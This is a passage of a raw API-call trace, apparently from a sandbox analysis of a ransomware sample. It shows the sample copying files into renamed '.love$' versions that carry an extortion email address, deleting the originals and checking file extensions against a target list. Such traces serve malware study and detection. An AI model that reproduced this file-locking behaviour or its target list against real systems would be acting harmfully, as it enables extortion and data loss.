hHeap=0x4b0000) returned 1 [0122.228] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0123.275] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0123.284] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0123.293] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0123.297] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0123.305] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0123.312] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0123.827] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0123.880] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0123.880] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 Thread: id = 15 os_tid = 0xfd4 [0093.450] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3831228 [0093.451] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x3841230 [0093.452] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50abf8 [0093.452] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x53d1c0 [0093.452] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50acb8 [0093.452] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3a05020 [0093.455] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50acd0 [0093.455] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50acd0, Size=0x20) returned 0x4eebd8 [0093.455] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x50acd0 [0093.455] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50acd0, Size=0x20) returned 0x4eeae8 [0093.455] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x772d0000 [0093.456] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0093.456] Wow64DisableWow64FsRedirection (in: OldValue=0x2f9ff50 | out: OldValue=0x2f9ff50*=0x0) returned 1 [0093.456] lstrlenW (lpString="kernel32.dll") returned 12 [0093.456] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eebd8 | out: hHeap=0x4b0000) returned 1 [0093.456] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0093.456] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4eeae8 | out: hHeap=0x4b0000) returned 1 [0093.456] Sleep (dwMilliseconds=0x64) [0094.013] lstrcmpiW (lpString1=".log", lpString2=".love$") returned -1 [0094.013] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0094.013] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.015] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=42674) returned 1 [0094.015] CloseHandle (hObject=0x2b8) returned 1 [0094.015] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0094.015] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.015] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.016] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.016] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.016] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0094.016] GetLastError () returned 0x0 [0094.016] ReadFile (in: hFile=0x2b8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0094.036] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0094.038] ReadFile (in: hFile=0x2b8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.038] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x11e, lpOverlapped=0x0) returned 1 [0094.038] SetEndOfFile (hFile=0x2f4) returned 1 [0094.038] CloseHandle (hObject=0x2f4) returned 1 [0094.045] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.045] SetEndOfFile (hFile=0x2b8) returned 1 [0094.046] CloseHandle (hObject=0x2b8) returned 1 [0094.046] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0094.047] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0094.047] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.047] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.047] lstrlenW (lpString=".doc") returned 4 [0094.047] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0094.047] lstrlenW (lpString=".docx") returned 5 [0094.047] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0094.047] lstrlenW (lpString=".pdf") returned 4 [0094.047] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0094.047] lstrlenW (lpString=".xls") returned 4 [0094.047] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0094.047] lstrlenW (lpString=".xlsx") returned 5 [0094.047] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0094.047] lstrlenW (lpString=".ppt") returned 4 [0094.048] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0094.048] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.048] lstrlenW (lpString=".zip") returned 4 [0094.048] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0094.048] lstrlenW (lpString=".rar") returned 4 [0094.048] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0094.048] lstrlenW (lpString=".bz2") returned 4 [0094.048] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0094.048] lstrlenW (lpString=".7z") returned 3 [0094.048] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0094.048] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.048] lstrlenW (lpString=".dbf") returned 4 [0094.048] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0094.048] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.048] lstrlenW (lpString=".1cd") returned 4 [0094.048] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0094.048] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.048] lstrlenW (lpString=".jpg") returned 4 [0094.048] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0094.048] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.048] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.048] lstrlenW (lpString=".doc") returned 4 [0094.048] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0094.048] lstrlenW (lpString=".docx") returned 5 [0094.048] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0094.048] lstrlenW (lpString=".pdf") returned 4 [0094.048] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0094.048] lstrlenW (lpString=".xls") returned 4 [0094.048] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0094.049] lstrlenW (lpString=".xlsx") returned 5 [0094.049] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0094.049] lstrlenW (lpString=".ppt") returned 4 [0094.049] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0094.049] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.049] lstrlenW (lpString=".zip") returned 4 [0094.049] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0094.049] lstrlenW (lpString=".rar") returned 4 [0094.049] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0094.049] lstrlenW (lpString=".bz2") returned 4 [0094.049] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0094.049] lstrlenW (lpString=".7z") returned 3 [0094.049] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0094.049] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.049] lstrlenW (lpString=".dbf") returned 4 [0094.049] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0094.049] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.049] lstrlenW (lpString=".1cd") returned 4 [0094.049] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0094.049] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0094.049] lstrlenW (lpString=".jpg") returned 4 [0094.049] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0094.049] lstrcmpiW (lpString1=".log", lpString2=".love$") returned -1 [0094.049] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0094.050] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.523] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=6004) returned 1 [0094.523] CloseHandle (hObject=0x2b8) returned 1 [0094.523] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0094.524] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.524] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.524] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.524] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.524] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0094.525] GetLastError () returned 0x0 [0094.525] ReadFile (in: hFile=0x2b8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x1774, lpOverlapped=0x0) returned 1 [0094.531] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1780, lpOverlapped=0x0) returned 1 [0094.533] ReadFile (in: hFile=0x2b8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.533] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x114, lpOverlapped=0x0) returned 1 [0094.533] SetEndOfFile (hFile=0x2f4) returned 1 [0094.533] CloseHandle (hObject=0x2f4) returned 1 [0094.536] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.536] SetEndOfFile (hFile=0x2b8) returned 1 [0094.538] CloseHandle (hObject=0x2b8) returned 1 [0094.538] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0094.538] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0094.538] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.538] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.538] lstrlenW (lpString=".doc") returned 4 [0094.539] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0094.539] lstrlenW (lpString=".docx") returned 5 [0094.539] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0094.539] lstrlenW (lpString=".pdf") returned 4 [0094.539] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0094.539] lstrlenW (lpString=".xls") returned 4 [0094.539] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0094.539] lstrlenW (lpString=".xlsx") returned 5 [0094.539] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0094.539] lstrlenW (lpString=".ppt") returned 4 [0094.539] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0094.539] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.539] lstrlenW (lpString=".zip") returned 4 [0094.539] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0094.539] lstrlenW (lpString=".rar") returned 4 [0094.539] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0094.539] lstrlenW (lpString=".bz2") returned 4 [0094.539] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0094.539] lstrlenW (lpString=".7z") returned 3 [0094.539] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0094.539] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.539] lstrlenW (lpString=".dbf") returned 4 [0094.539] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0094.539] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.539] lstrlenW (lpString=".1cd") returned 4 [0094.539] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0094.539] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.540] lstrlenW (lpString=".jpg") returned 4 [0094.540] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0094.540] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.540] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.540] lstrlenW (lpString=".doc") returned 4 [0094.540] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0094.540] lstrlenW (lpString=".docx") returned 5 [0094.540] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0094.540] lstrlenW (lpString=".pdf") returned 4 [0094.540] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0094.540] lstrlenW (lpString=".xls") returned 4 [0094.540] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0094.540] lstrlenW (lpString=".xlsx") returned 5 [0094.540] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0094.540] lstrlenW (lpString=".ppt") returned 4 [0094.540] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0094.540] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.540] lstrlenW (lpString=".zip") returned 4 [0094.540] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0094.540] lstrlenW (lpString=".rar") returned 4 [0094.540] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0094.540] lstrlenW (lpString=".bz2") returned 4 [0094.540] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0094.540] lstrlenW (lpString=".7z") returned 3 [0094.540] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0094.540] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.541] lstrlenW (lpString=".dbf") returned 4 [0094.541] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0094.541] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.541] lstrlenW (lpString=".1cd") returned 4 [0094.541] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0094.541] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0094.541] lstrlenW (lpString=".jpg") returned 4 [0094.541] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0094.541] lstrcmpiW (lpString1=".ini", lpString2=".love$") returned -1 [0094.541] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0094.541] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0094.543] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=156) returned 1 [0094.543] CloseHandle (hObject=0x2c8) returned 1 [0094.544] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0094.544] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.544] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0094.544] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.544] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.544] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.544] GetLastError () returned 0x0 [0094.545] ReadFile (in: hFile=0x2c8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x9c, lpOverlapped=0x0) returned 1 [0094.546] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0xa0, lpOverlapped=0x0) returned 1 [0094.548] ReadFile (in: hFile=0x2c8, lpBuffer=0x3a05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0094.548] WriteFile (in: hFile=0x2b8, lpBuffer=0x3a05020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a05020*, lpNumberOfBytesWritten=0x2f9fc94*=0x100, lpOverlapped=0x0) returned 1 [0094.548] SetEndOfFile (hFile=0x2b8) returned 1 [0094.548] CloseHandle (hObject=0x2b8) returned 1 [0094.552] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.552] SetEndOfFile (hFile=0x2c8) returned 1 [0094.553] CloseHandle (hObject=0x2c8) returned 1 [0094.554] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0094.554] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0094.554] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.554] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.554] lstrlenW (lpString=".doc") returned 4 [0094.554] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.554] lstrlenW (lpString=".docx") returned 5 [0094.555] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0094.555] lstrlenW (lpString=".pdf") returned 4 [0094.555] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0094.555] lstrlenW (lpString=".xls") returned 4 [0094.555] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0094.555] lstrlenW (lpString=".xlsx") returned 5 [0094.555] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0094.555] lstrlenW (lpString=".ppt") returned 4 [0094.555] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0094.555] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.555] lstrlenW (lpString=".zip") returned 4 [0094.555] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0094.555] lstrlenW (lpString=".rar") returned 4 [0094.555] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0094.555] lstrlenW (lpString=".bz2") returned 4 [0094.555] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0094.555] lstrlenW (lpString=".7z") returned 3 [0094.555] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0094.555] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.555] lstrlenW (lpString=".dbf") returned 4 [0094.555] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0094.555] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.555] lstrlenW (lpString=".1cd") returned 4 [0094.555] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0094.555] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.555] lstrlenW (lpString=".jpg") returned 4 [0094.555] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0094.556] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.556] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0094.556] lstrlenW (lpString=".doc") returned 4 [0094.556] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0094.556] lstrlenW (lpString=".docx") returned 5 [0094.556] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0094.556] lstrlenW (lpString=".pdf") returned 4 [0094.556] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0094.556] lstrlenW (lpString=".xls") returned 4 [0094.556] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0094.556] lstrlenW (lpString=".xlsx") returned 